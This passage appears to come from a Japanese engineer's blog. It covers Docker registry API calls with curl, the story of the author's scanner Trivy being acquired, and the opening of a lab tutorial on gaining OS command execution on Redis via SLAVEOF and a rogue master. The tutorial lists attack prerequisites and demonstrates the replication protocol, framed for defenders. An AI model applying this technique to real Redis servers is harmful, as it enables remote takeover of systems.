ocal/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) \",\"CMD [\\\"/bin/sh\\\"]\"],\"ArgsEscaped\":true,\"Image\":\"sha256:e8bf85e28fac8a4cd1707985780af20622f0f5de7d6c912ea1dc82a626981cb0\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-10-21T17:21:42.387111039Z\",\"docker_version\":\"18.06.1-ce\",\"id\":\"66a1145c315c6751d846723eb45515a780f1658f77dad2eb318b497d0da6b01a\",\"os\":\"linux\",\"parent\":\"3096cc24d0eb306b978ec89242e14a6285b20272f98feaae7327b34fb70bf400\",\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"3096cc24d0eb306b978ec89242e14a6285b20272f98feaae7327b34fb70bf400\",\"created\":\"2019-10-21T17:21:42.078618181Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:fe1f09249227e2da2089afb4d07e16cbf832eeb804120074acd2b8192876cd28 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "H67G:5NV2:2QJK:NNMD:SAEE:N56S:JDRH:XDSX:ON5Y:WM6G:HHYQ:RANM",
               "kty": "EC",
               "x": "4TjKKDnLECLUP_NjC3U4z1-ePiAyQSVz1FFKgVNwhgk",
               "y": "tkdpqye8X9jwqAcN3_aSr56QOTEJg6flURPbqA3Dbmg"
            },
            "alg": "ES256"
         },
         "signature": "PL-llANjJFNRBZ7_hEtra4NXJ8s4pgY_MP4wpCjDs8CsqPDVf8Kp4eGjE56ejvnrFzcjsCwbxkE8uRcxLMJU3A",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjIxMzksImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAxOS0xMS0yOFQxOTozMDozNVoifQ"
      }
   ]
}

ということで取得できたのですが、実はこれは罠でv1のSchemaになっています。

docs.docker.com

単に自分が無知だっただけで罠でも何でもないのですが、v2のSchemaを得るためにはAcceptヘッダが必要でした。何も指定しないと "application/vnd.docker.distribution.manifest.v1+json" 相当になるようです。以下のページでMedia Typeについて記載がありますが、とりあえず "application/vnd.docker.distribution.manifest.v2+json"辺りを付けておくと良さそうです。

docs.docker.com

$ curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10
{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {
      "mediaType": "application/vnd.docker.container.image.v1+json",
      "size": 1512,
      "digest": "sha256:965ea09ff2ebd2b9eeec88cd822ce156f6674c7e99be082c7efac3c62f3ff652"
   },
   "layers": [
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 2787134,
         "digest": "sha256:89d9c30c1d48bac627e5c6cb0d1ed1eec28e7dbdfbcc04712e4c79c0f83faf17"
      }
   ]
}

ということでv2のschemaを得ました。

Configファイルを取得する

上のマニフェスト内にdigestというkeyがあります。こいつがイメージのID相当のやつのはずです。レジストリでは実際のファイルなどはblobとして管理されているので、Configファイルをダウンロードする際にもblobのAPIを叩く必要があります。

docs.docker.com

これも手で取得するのは面倒なのでjqを使います。

$ export IMAGE_ID=$(curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10 | jq -r .config.digest)

blobを取得します。

$ curl -v -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/$IMAGE_ID
< HTTP/1.1 307 Temporary Redirect
< Content-Type: application/octet-stream
< Docker-Distribution-Api-Version: registry/2.0
< Location: https://production.cloudflare.docker.com/registry-v2/docker/registry/v2/blobs/sha256/96/965ea09ff2ebd2b9eeec88cd822ce156f6674c7e99be082c7efac3c62f3ff652/data?verify=1574972987-k95e45HTysMmwaTRSq%2FAkptLEII%3D
< Date: Thu, 28 Nov 2019 19:39:47 GMT
< Content-Length: 0
< Strict-Transport-Security: max-age=31536000

リダイレクトされます。上記のLocationヘッダのURLに自分でアクセスしても良いですし、curlの-Lオプションを使ってcurlでリダイレクト先にアクセスしても良いです。

$ curl -L -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/$IMAGE_ID | jq .
{
  "architecture": "amd64",
  "config": {
    "Hostname": "",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sh"
    ],
    "ArgsEscaped": true,
    "Image": "sha256:e8bf85e28fac8a4cd1707985780af20622f0f5de7d6c912ea1dc82a626981cb0",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": null
  },
  "container": "baae288169b1ae2f6bd82e7b605d8eb35a79e846385800e305eccc55b9bd5986",
  "container_config": {
    "Hostname": "baae288169b1",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sh",
      "-c",
      "#(nop) ",
      "CMD [\"/bin/sh\"]"
    ],
    "ArgsEscaped": true,
    "Image": "sha256:e8bf85e28fac8a4cd1707985780af20622f0f5de7d6c912ea1dc82a626981cb0",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": {}
  },
  "created": "2019-10-21T17:21:42.387111039Z",
  "docker_version": "18.06.1-ce",
  "history": [
    {
      "created": "2019-10-21T17:21:42.078618181Z",
      "created_by": "/bin/sh -c #(nop) ADD file:fe1f09249227e2da2089afb4d07e16cbf832eeb804120074acd2b8192876cd28 in / "
    },
    {
      "created": "2019-10-21T17:21:42.387111039Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"/bin/sh\"]",
      "empty_layer": true
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:77cae8ab23bf486355d1b3191259705374f4a11d483b24964d2f729dd8c076a0"
    ]
  }
}

ということでConfigファイルを得ました。ちなみにこのConfigファイルのハッシュ値がイメージのIDになっています。

$ echo $IMAGE_ID
sha256:965ea09ff2ebd2b9eeec88cd822ce156f6674c7e99be082c7efac3c62f3ff652
$ curl -L -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/$IMAGE_ID > alpine-310.json
$ sha256sum alpine-310.json
965ea09ff2ebd2b9eeec88cd822ce156f6674c7e99be082c7efac3c62f3ff652  alpine-310.json

そして余談ですが、全く同じDockerfileをキャッシュを使わずに2回ビルドすると異なるイメージIDになりますが、上記Configのhistoryなどにcreated_byなどの時刻が含まれており、時刻は当然ビルドするたびに変わるためハッシュ値が変化し結果としてイメージIDも変わります。

Layerのダウンロード

では実際にレイヤーをダウンロードしてみます。 先程のマニフェスト内にLayerのIDが書いてあるので、まずそちらを再度取得します。

$ curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10 |  jq '.layers[].digest'
"sha256:89d9c30c1d48bac627e5c6cb0d1ed1eec28e7dbdfbcc04712e4c79c0f83faf17"

今回は一つしかないですが、複数のLayerで構成されているイメージの場合はこれが複数になります。あとはこのIDをblobsにくっつけてリクエストするだけです。圧縮されているので、tar.gzで降ってきます。 マニフェストファイルにはMedia Typeが"application/vnd.docker.image.rootfs.diff.tar.gzip"と書いてあるので、ヘッダにつけておいたほうが無難な気もしますがDocker Hubでは指定しなくても同じファイルでした。違うレジストリだとまた異なる挙動かもしれません。

$ curl -L -o layer.tar.gz -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/sha256:89d9c30c1d48bac627e5c6cb0d1ed1eec28e7dbdfbcc04712e4c79c0f83faf17

解凍してみます。

$ tar zxvf layer.tar.gz 
x bin/
x bin/arch
x bin/ash
x bin/base64
x bin/bbconfig
...

ということでLayerに含まれるファイルを手に入れることができました。Layerが複数ある場合はもちろん並列に取得も可能です。

参考

まとめ

普段docker pullとかしていてもあまり裏側の通信がどうなってるか意識することは少ないですが、curlを使って自分で簡易的に再現してみると理解が深まるかもしれません。

趣味で作ったソフトウェアが海外企業に買われるまでの話

今回はソフトウェアエンジニアじゃない人や学生にも、ソフトウェアエンジニアという職業には夢があるかもしれないと思ってもらうために書いています。そのため既に詳しい方からすると回りくどい説明も多いと思いますがご容赦下さい。

基本的に記事とかには技術的なことしか書かないスタンスでやってきましたが、今回の件はさすがに誰かに伝えておくべきだろうということで長々と垂れ流しました。

概要

GW中に趣味で開発したソフトウェアを無料で公開したところAqua Securityという海外企業(アメリカとイスラエルが本社)から買収の申し出を受け、最終的に譲渡したという話です。さらに譲渡するだけでなく、Aqua Securityの社員として雇われて自分のソフトウェア開発を続けることになっています。つまり趣味でやっていたことを仕事として続けるということになります。

少なくとも自分の知る限り一個人で開発していたソフトウェアが企業に買収されるというのは頻繁に起こるものではないので、せっかくなので経緯をまとめておきます。自分みたいな特に取り柄もないソフトウェアエンジニアがこういう機会を貰えたのは、正直運によるところが大きいと感じています。ですが逆に言えば誰にでもチャンスがあるかもしれないと思ったので、誰かに夢や希望を与えられるかもしれないと思って書きました。

買収と言うと大きなお金を貰ったと思われがちですが、残念ながら受け取ったお金は億単位とかではないのでそういう点では夢がないかもしれないです。どちらかと言うと好き勝手やってただけなのにこんなに楽しい経験ができるよ、という方向性の話になります。そういうものに興味がある人は面白い話だと思います。

細かく書いてたら長くなったので、ソフトウェアエンジニアという職種に興味のある学生や、趣味で何かしら開発していきたい人や、趣味でやっていることが仕事になったら良いなと思っている人だけ読んでもらえればと思います。

はじめに

自分は普通に大学を出て普通に企業に就職してIT企業で働いています。上ではソフトウェアエンジニアと書きましたが、実際にはセキュリティエンジニアです。なので基本的に業務ではセキュリティに関することをやっているのですが、プログラムを書く機会もあります。また、エンジニアの中には一定数存在すると思いますが、そもそもパソコンを触るのが好きなので休日でもプログラムを書いたりサーバいじったりしています。とはいえ全てを捧げるほどずっとやっているかと言うとそうでもありません。運動したり漫画読んだり二郎食べたりとか割と忙しくしています。ここは大事なので最初に説明しておきます。

オープンソースソフトウェア(OSS

休日に書いたプログラムとはいえ、良いものが出来たと思ったら他の人にも使ってもらいたいことがあります。そういう場合には最近だとオープンソースソフトウェア(OSS)としてインターネット上に公開されることが多くなっています。ソースコード(コンピュータ言語で書かれたプログラムの設計図とか呼ばれるやつ)をそのまま公開してしまって無料で誰でも使えるようにします。OSSの定義は厳密には「自由な再頒布」とか「派生物の自由な利用」とか色々ありますが、とりあえずは成果物を公開して誰でも使えるようにするし、さらに言えば誰でもいじれるようにするぐらいの認識で良いと思います。細かく知りたい人は色々調べてみて下さい。

ja.wikipedia.org

そして、GitHubというOSSを公開するためのWebサイトが有り、世界中で広く使われています。

github.com

また、個人だけではなく企業も利用しています。GoogleMicrosoftFacebookOSSとしていくつものソフトウェアを公開しています。会社で作った利益を生み出す製品の設計図を公開して良いの?という話もありますが、これはIT業界の面白いところだと思います。公開できる部分だけ公開している企業もいれば、OSSの使い方サポートとしてお金を貰ったりする場合もあります。いずれにせよ、そのように世の中に還元するという姿勢がプログラマーたちからは評価され信頼に繋がり、ひいては売上につながったりするということが業界では認知されつつあります。もちろん無料で使えるんだからお金払わなくていいじゃんとなってしまうケースも有るため、必ずしもOSSにすることでうまくいくとは限りません。というか日本だと特にうまく行っているケースが少ない気もしています。今後どういう風になっていくのか分かりませんが、面白い業界だなと思っています。

さらに面白いのは、ソースコードが公開されているためコピーして自分で修正することも可能です。さらにコピーを修正するだけではなく、修正したからオリジナルに取り込んで欲しい、というリクエストを出すことも可能です。つまり、Facebookと何も関係ない人がFacebookOSS修正を手伝うことが出来ます。そんなことして何になるんだという話もありますが、これはFacebookが良いプログラムを公開してくれたのでそのお礼、みたいな意味合いが強いと個人的には思っています。もちろんオリジナルが変更されていくとコピーが追従するのが難しくなるのでオリジナルに取り込まれる方が将来を考えると良いというメリットもあるのですが、少なくとも自分はそれ以上に感謝の気持ちで修正を手伝っています。

話を戻します。GitHub上ではアカウント作成すると自分用のページが作られます。そこで自分の作った好きなプログラムを公開することが出来ます。GitHubでは1つのプログラム置き場のことをリポジトリと呼びますが、そのリポジトリ一覧は自分の場合だと以下になります。

knqyf263 (Teppei Fukuda) / Repositories · GitHub

ここで好きなリポジトリを自分で作って公開しておけば誰でも閲覧・利用ができます。これだけで立派なOSS活動です。

趣味としてのOSS

自分も趣味で作ったソフトウェアはGitHub上で公開しています。誰かに使ってもらおうとか思っていなくても、自分のために作っていたら結構いい感じになったからせっかくだし公開しようとか、理由は何でも良いと思います。そんなに崇高な理由じゃなくて良いです。しかもお金貰っているわけでもないのでクオリティが低くても誰にも怒られないです。何でも良いからまずは公開してみると良いんじゃないかと思っています。

自分の場合は大体何か不満があって、それを改善するためのものを作ったから公開する、という感じが多いです。日頃から不満を溜めてる人のほうがアイディア出てきやすいんじゃないかなーとか勝手に思ってます。

それで、趣味なのに何をモチベーションにわざわざ公開するの?というところですが、やはり多くの人に使ってもらえると嬉しいです。そして何より全く知らない海外の人が自分のプログラム修正を手伝ってくれたりすると本当に嬉しいです。会ったこともない海外の人たちと何かを一緒に作っていくという体験ができる職業はとても少ないと思います。自分はこの職業以外思いつかないです。しかも、やたらと感謝されます。「君の作ったプログラムは僕のプログラマー人生を変えたよ」とか「本当に素晴らしいOSSだ。心より君を尊敬する。」といった事を平気で言われます。これだけでやってて良かったと思いますし、世の中の役に立っている実感を得られます。何か日常で辛いことがあっても、「でも自分見知らぬ土地の見知らぬ人々にリスペクトされてるから良いか」みたいな気持ちになれます。

Trivyについて

自分が趣味で作ったOSSの中の一つにTrivyというものがあります。少し技術的な話になりますが、これはコンテナの脆弱性スキャナです。自分が作る前から似たソフトウェアは複数存在していたのですが、既存のものはどうしても使いにくいし精度も改善できる余地があるし、ということで作り始めました。

今年のGWは10日間の大型連休だったわけですが、この連休中に作り切るという目標でGW初日から作り始めました。実際には構想は大分前からあったのですが、真面目に作り始めたのはGWになってからです。結局10日間ずっとプログラムを書き続けました。もちろん友人と少し遊んだりはしましたが、寝る時間も勿体なかったのでモンスターエナジー買ってきて夜な夜な頑張ったりしました。妻からもこいつ正気か?みたいなプレッシャーを受けたりもしましたが、どうしても作りたかったので「GWはどこも混んでるし別の日に出かけたほうが」みたいなことを言って説得しました。理解のある妻に感謝です。

10日間で当初目標としていた機能は実装し終わったのですが、作っている途中にさらに改善できるポイントみたいなのが次々と見つかってしまい、最終的にはGW終わってから1週間ぐらい実装を続けました。

そのリポジトリが以下です。

GitHub - aquasecurity/trivy: A Simple and Comprehensive Vulnerability Scanner for Containers, Suitable for CI

今アクセスするとaquasecurity/trivyに転送されます。これは元々自分のリポジトリだったのですが、Aqua Security社に買われたために転送されるようになっています。この話は後ほどします。

そんなこんなで作り終わって公開したのですが、割と反響が大きく色んな国の言語でブログ書かれるぐらいまで広まりました。

日本で有名なブログを運営していらっしゃるクラスメソッドさんや

dev.classmethod.jp

セキュリティ企業の英語によるブログや

www.prodefence.org

企業によるセキュリティツール(雑に言えばセキュリティソフトウェアとほとんど同じ意味)の一覧まとめや sysdig.com

中国語や

www.freebuf.com

フランス語や

t.co

トルコ語など

medium.com

他にも色々なところで紹介して頂いています。

一つ注意なのですが、良いものを作っても使い方が全く分からなければ使って貰えません。なので、真面目に使ってもらいたいと思ったら使い方をきちんと書くことが重要です。日本人向けなら日本語で良いですが、海外の人にも使ってもらいたければ英語で書くことをおすすめします。自分はGoogle翻訳で雑な英語を書きましたが、それでも何とかなっています。

ソフトウェアの説明書のことをREADMEと言ったりするのですが、READMEが分かりやすいという反応を貰えたのは地味に嬉しかったです。

また、Trivyは既存のツールを精度で倒すことを一つの目標としていたので、頑張って比較してグラフも載せたりしました。こんなことをしたら既存ツールの開発者達に怒られるかもしれない...とビクビクしていましたが、批判しているわけでもなく純粋に結果の比較だし良いかと思い最終的には乗せることにしました。

f:id:knqyf263:20190819140458p:plain
精度比較

ちなみにあとで聞いたら脆弱性なんだけど明らかに影響が小さくノイズとなるものは意図的に出していない、といった思想や影響があるかどうかは分からないけど万が一影響がある場合は被害が大きそうだから誤検知になるかもしれないが出している、などポリシーによる違いもあるということだったので一旦グラフは削除しました。

Trivyを使って新たにサービスを作る人も出てくるほどになり、頑張って良かったなーとなって自分の中では一段落していました。

www.kennasecurity.com

譲渡のオファー

一段落したので睡眠不足を解消すべく毎日寝るだけの生活をしていました。

すると、そこにAqua Security社(Aqua Security Software Ltd.)のCTOから突然メールが来ます。件名は「Trivyについて」。Aqua Securityというのはアメリカとイスラエルに本社を持つセキュリティ企業で、自分が比較表の中に入れたツールを作った会社だったのでこんなものを載せるんじゃない!!と怒られると思ってビクビクしていました。内容を見ると、Trivyについて話がしたい、とのこと。絶対キレられるやつじゃん...訴訟とかになったら辛い...無視しようかな...でも無視すると裁判で不利になりそうだし...と恐る恐る返信をしました。そして次に返ってきたメールを見て驚きました。

「お前の作ったTrivyは素晴らしい。特にここの実装とあそこの実装は面白かった。自分達の作るソフトウェアにも活かせそうだ。ありがとう。もっと細かく話したいから電話しないか?」

という内容。かなり驚きました。普通作ったものの結果が微妙といった内容を書かれたらまずキレるところだと思うのですが、キレるどころか褒められた挙げ句感謝されました。凄い価値観を持った人達だなととても驚きましたし、まずキレるだろうっていう自分の価値観が恥ずかしくなりました。良いものは素直に取り込んでいくという考えを持っているから開発も早いのかもなどと考えました。そもそも国による価値観の違いかもしれないのですが、自分もそう考えられる人間になりたいと思いました。

そういうわけで突然CTOと電話することになります。自分の英語力(特にリスニング)は全国大学生平均を下回っているので、電話でボディランゲージなしにまともに会話できるのか?!と不安でしたが、日常会話はさっぱりでも技術的な話だと知ってる単語が多く話す内容も予想がつくからか意外と何とかなりました。聞き取れないところはチャットに書いてもらえば良いです。

そうして実装の詳細説明などを何とか乗り切ったのですが、電話の最後にさらに驚く話をされます。それは、「TrivyをAqua Securityとして買いたい」という提案でした。OSSソースコードが公開されていて誰でも使えるので買いたいってどういうこと?!と最初は混乱しましたが、TrivyのリポジトリをAqua Securityの下に移し、Aquaとしてメンテナンスして行きたいということのようでした。そしてそのためにお金も払うということでした。また、買収と同時に自分を社員として雇うので仕事としてメンテナンスを続けないか?という申し出も受けます。しかもそのチームはOSS開発専門チームなので他にも好きなOSSを作って良いという話でした。趣味で作っていたソフトウェアが企業に買われるなどということは夢にも思っていなかったので困惑しました。その場で決められるものでもなかったので考えさせて欲しいということで一旦電話を切りました。

譲渡について

譲渡するかどうかはとても悩みました。やはり自分の作ったOSSというのは大なり小なり自分の子供みたいに感じている部分があります。それが別のところに行ってしまうのは寂しさもありますし、寝ずに頑張ったGWとかを思い出すと切なくなってやっぱりやめるか...みたいな気持ちになりました。本当は個人で頑張って作ったのに企業のものとなると、今から新たに知る人は完成度高くて当たり前みたいに感じるだろうしそれも何か嫌だなみたいな器の小さい事も思ったりしていました。そしてそのまま過ごしていたのですが、ここでOSSに関する難しい問題に直面します。

個人開発の持続性について

OSSはIssueと言って利用者が改善要望を出すことが可能です。「こんな機能が欲しい」とか「この環境だとうまく動きません」とかそういうやつです。最初は使われてる実感があって嬉しいため頑張って直していくのですが、これは実は段々辛くなってきます。まず趣味のOSSの場合はお金を貰っているわけでもありません。単に休日等の空いた時間に無償でやっているだけです。自分で楽しくてやっているうちは苦にならないのですが、他人に言われてやらないといけない状況になると途端に辛くなってきます。最初に書きましたが、休日は他にもやりたいことがあります。結婚しているので妻と出かけたりするのも大事ですし、休日なので休むことも大事です。ですが、Issueが多数来ると別のことをしていても気になるようになってきます。特に、「動かないので困っています」みたいなIssueが来ると急いで直さざるを得ません。あくまで趣味なのでスルー、と割り切ることも出来るのですが、多くの人に使われるようになると責任も感じてきて割り切るのは難しかったりします(もちろん人によってはバッサリ無視できるメンタルの人もいますし、そういう人は向いてると思います)。

自分が多くの人に使ってもらえるOSSを作ったのはこれが最初ではないのですが、過去の時にも同じ問題に直面していました。チームを組んでやっていれば良いですが、完全に自分のリポジトリともなるとそういうわけにも行きません。

譲渡の決断

このように個人による趣味のOSSというのは持続性の問題を抱えています。最初は楽しくて気力が持つので頑張れますが、義務になると辛くなります。とは書いたものの、それでも自分は割り切って楽しくやれている方ですが、趣味としてやるよりも企業が面倒見てくれたほうが持続性の面では良いなと考え始めます。趣味なので疲れたら終わり、ということで本当は良いですし引き継ぎたい人が勝手にコピーして引き継げるというのもOSSの良いところではあるのですが、せっかく欲しがってくれている企業があるのだから一緒にやるというのは悪くない選択肢だという結論に至ります。

何より自分が好きでやっていたことを仕事として引き続きやって良いと言われ、他にもOSS開発を仕事としてやって良いというのは自分にとっては天職に感じました。まだまだ作りたいものがたくさんあるので、譲渡は別としてもそのチームに入れること自体が本当に魅力に感じました。ですがそんなにうまい話はないというのは過去に経験していたので最初は乗り気じゃなくスルー気味でしたが、話しているうちに本当に良いツールだと考えてくれているし、それを作った自分に是非参加して欲しいという強い意志を感じました。

どのぐらい強い意志だったかと言うと、交渉のために日本人通訳を即座に用意してくれるぐらいです。いやお前英語頑張れよという話はありますが、契約の細かい話とか出来るほどの英語力はありませんし、勢いで押し切られるのを恐れて交渉が進まないぐらいならきちんと意思疎通して進めたいというAqua側の厚意だったと思います。

また、海外の就労ビザを出してくれて日本人が0の場所で働かせてもらえるというのも良い経験になるだろうと思いました。オフィスがある場所ならどこで働いても良いと言ってくれたのでセキュリティがホットなイスラエルを選びました。クビになってもその時はその時で日本に戻ればどこかで働けるだろうみたいな楽観的な考えもありました。この辺りの経緯はまた別で書きます。

などなど色々なことを総合して考えた結果、最終的に譲渡することに決めました。最初に書きましたが受け取ったお金はそこまで大きい金額ではないです。とはいえ数年働いて貰えるぐらいの金額ではあるので小遣いとしては十分すぎる金額です。

ちなみに金額交渉で下手に出ても良くないので大きい金額を伝えてみたのですが、「OSSは既にソースコードが公開されており技術を独占できるものではないので独占販売などは出来ない。これは誠意だと思って欲しい。」と言われました。確かにOSSなのに買うってどういうこと?!と最初思っていたので納得しました。冷静に考えればソースコードが公開されているのでパクろうと思えばいくらでもパクれるのに、わざわざ遠い島国の人間に連絡してお金を払って譲渡して欲しいというのは会社としての誠実さをとても感じました。もちろんもっと闘うことも出来たのですが、誠意だなと思ったので合意しました。きちんと特許などを取っていれば金額はもっと上げられたはずなので、真面目にお金を狙いに行く人は特許取っておくべきです。一度OSSにしてしまうと公知になるので難しくなるらしいです。その辺りはきちんと戦略を練らないとダメですね。

契約について

今後似たような状況になる人がいるかも知れないので少しアドバイスになりますが、条件面などの書類は弁護士にレビューしてもらったほうが良いです。特に訴えられうるリスクは減らすべきです。個人でやっているOSSだと特許侵害していたりライセンス違反したりしていることもあり得ます。そうなった場合に後で賠償みたいな文言が入っていると厳しいです。もちろんそうならないように最大限気をつけていますが、法律や特許のプロではないので厳密に問題ないと言い切るのは難しいです。その辺りはきちんと「自分の知りうる限り〜」などの文言を盛り込んでもらうと良いです。

今後について

Trivyは引き続きOSSとして開発を続けます。既にいくつか面白いアイディアを貰っていたりもするので、これからどんどん足していきます。他にもCNCFと距離が近くなったので新しいものも作っていきます。もっとも、何が起こるかわからないのですぐクビになるかもしれないし未来のことは不明です。

まとめ

ソフトウェアエンジニアという仕事は場所に囚われないので、今回のように海外から突然面白い話が降ってくることもあります。ただ何もしなくても降ってくるということはないので、せっかく何か作ったりしたら成果として見える形にしておくのがオススメです。価値観は人それぞれなので、必ず何か見える形にしなくてはならないということはないです。気が向いたらぐらいの軽さで良いと思います。

人生何があるか分からないです。この業界は動きが早いので数カ月後には自分を取り巻く環境も何もかも変わっているかもしれませんが、変化を楽しんでいきたいと思います。

おわり

RedisからOSコマンドを実行する攻撃方法(SLAVEOF編)

はじめに

前回の記事で、誤ってインターネットに開放されたRedisを操作してOSコマンド実行するまでの攻撃方法を説明しました。

knqyf263.hatenablog.com

こちらの方法ではCONFIG SETを使っていたのですが、最近コンテナが利用されることが増えたために刺さりにくくなっています。また、Redisの実行ユーザの権限が強い必要があったり、ドキュメントルートのpathを予測する必要があったりといった制約もありました。そういった制約を回避する方法が発表されていたので試してみました。

さらに、前回はRedisが完全に操作できる前提を置いていましたが今回は更に難しくSSRFのみが使える状況が想定されています。SSRFについては調べたら出ると思うので割愛しますが、今回の場合は簡単に言うと「Redisは公開されていないが、公開されているWebサーバなど経由で攻撃者が内部のRedisにコマンドを発行できる状態」です。

要約

SSRFなど間接的であっても攻撃者がRedisに対してコマンド実行可能な状況であれば、OSの任意コマンド実行に繋げられる可能性がとても高いです(2019/07/13現在)。

この攻撃方法ではRedis Moduleを使うため、Redisの4.0以上じゃないと成立しないと思われます。

簡単に言うとOSコマンドが実行できるようなカスタムコマンドを作り、攻撃対象のRedisサーバにそのカスタムコマンドをロードさせることでOSコマンドを実行させます。カスタムコマンドをロードするためには.soファイルを最初に攻撃対象のサーバに送り込む必要がありますが、これはレプリケーションの仕組みを上手く使って送り込んでいます。詳細は後述。

先に自分の分かっている範囲で攻撃に必要な条件をまとめます。

  • Redisに対して任意のコマンドを発行可能(間接的でも可)
  • Redisの動いているサーバのOSやアーキテクチャが予測可能(.soファイルをロードさせるため)
  • Redisサーバから外部に通信可能
  • Redisが4.0以上

恐らくこれだけなのでハードルは低いと考えています。ちなみに今回はRedis ClusterやSentinelは使わずに通常のReplication方式で利用されている場合を想定しています。ですが、Cluster/Sentinelでも攻撃可能であることが発表資料内では触れられているため(少し手順は増えますが)、安全というわけではありません。

そして念の為書いておきますが、当然悪用厳禁です。この攻撃方法は既に公開されている方法で攻撃者は知っている可能性が高いです。そのためセキュリティエンジニアもきちんと原理を理解して正しい事前対策・事後対応が出来る状態になっておく必要があります。

参考

自分でちゃんと読みたい方は上の発表者のスライドを見ると良いです。

環境

簡単に試せるように例によって環境を用意しました

github.com

準備としてdocker-composeのbuildとupは行っておいて下さい。

$ docker-compose build
$ docker-compose up -d

docker-composeなので、コンテナ内ではredis, rogueというホスト名で各コンテナにアクセス可能です。redisはやられサーバでrogueは攻撃者の用意したサーバという想定です。検証なので今回は直接Redisにコマンド発行という形にしています。SSRFなどでも出来ることは同じです。

また、何故かたまにコンテナ死ぬことあるのですが、その場合は↑で再起動するなどして下さい。

詳細

基本的な仕組み

Redisに対して任意のコマンドが打てる状態なので、SLAVEOFコマンドを発行することが出来ます。これを打つとそのRedisはslaveになります。今回の方法では攻撃者側でmasterサーバを用意し、攻撃したいRedisサーバを用意したmasterサーバに対して接続させます。つまり攻撃対象のRedisサーバはslaveになります。まずこの部分が重要です。自分はそこを理解するのに少し時間がかかりました。

次に、Redisのレプリケーションについて学びます。以下の翻訳が分かりやすかったです。

redis-documentasion-japanese.readthedocs.io

上のページの抜粋です。

スレーブがセットアップされたら、スレーブは接続を通じて SYNC コマンドを送ります。初回の接続でも再接続でも同じです。

マスターはバックグラウンド・セーブを開始し、また、以降に受信する、データ・セットを変更するすべてのコマンドのバッファを始めます。バックグラウンド・セーブが完了したら、マスターはデータベースファイルをスレーブに転送し、スレーブはそれをディスクに保存、およびメモリへロードします。その後、マスターはすべてのバッファされたコマンドをスレーブに送信します。これはコマンドのストリームとして実現されていて、Redis プロトコルそのものと同じフォーマットをもちます。

これを見ると、現時点でmasterが持っているデータをファイルとして転送し、それ以降に実行されたコマンドはバッファしておいてslaveに送信するようです。そしてどうやらそのコマンドは単純にslaveで実行されそうです。

自分でも試せると書いてあるのでtelnetで繋いでSYNCを送ってみます。まずredisコンテナに入ります。

$ docker-compose exec redis sh

telnetが入っていないのでインストールします。

/data # apk add busybox-extras

この状態でtelnetを繋ぎ、自分でSYNCを打ってみます。

/data # telnet localhost 6379
SYNC
$175
REDIS0009       redis-ver5.0.1
redis-bits@ctime¹)used-memxrepl-stream-dbrepl-id(9a5ee5f6b004dcb75ae870eee9e79a9f601048d5
                                                                                         repl-offset
                                                                                                    aof-preambleczu*1

何かそれっぽいファイルが返ってきました。これは上の説明でいうデータベースファイルになります。RDBフォーマットというらしいです(Redis Databaseの略?)。正しくslaveとして機能していれば、このデータをディスクに保存してメモリにロードします。

また、この状態で少し放置しているとPINGが飛んできます。

*1
$4
PING

masterがslaveの死活監視のために行っていると思われます。

では、別ウィンドウでredisコンテナに入って適当にkey/valueを保存してみます。

$ docker-compose exec redis sh
/data # redis-cli
127.0.0.1:6379> set foo bar
OK

そうすると先程のtelnetの方の画面で以下のような表示が出ていると思います(PINGと混ざっていたら見にくいと思いますが)。

*2
$6
SELECT
$1
0
*3
$3
set
$3
foo
$3
bar

このプロトコルはかなりシンプルです。最初の*のあとの数字はコマンドの引数の数を示しています。つまり最初は2です。次に$のあとの数字はその後のコマンドの長さを意味しています。$6なのはSELECTが6文字だからです。こうして見ていくと、上の文字列は2つに分けられます。

*2
$6
SELECT
$1
0

これは2つの引数でコマンドが構成されていることを意味するため SELECT 0 というコマンドになります。単にデータベース0を指定しているだけです。

次は

*3
$3
set
$3
foo
$3
bar

ですが、これも単に set foo bar としているだけです。単に上で打ったコマンドと同じことが分かります。slaveとして機能している場合は、このコマンドがslave上で実行されます。

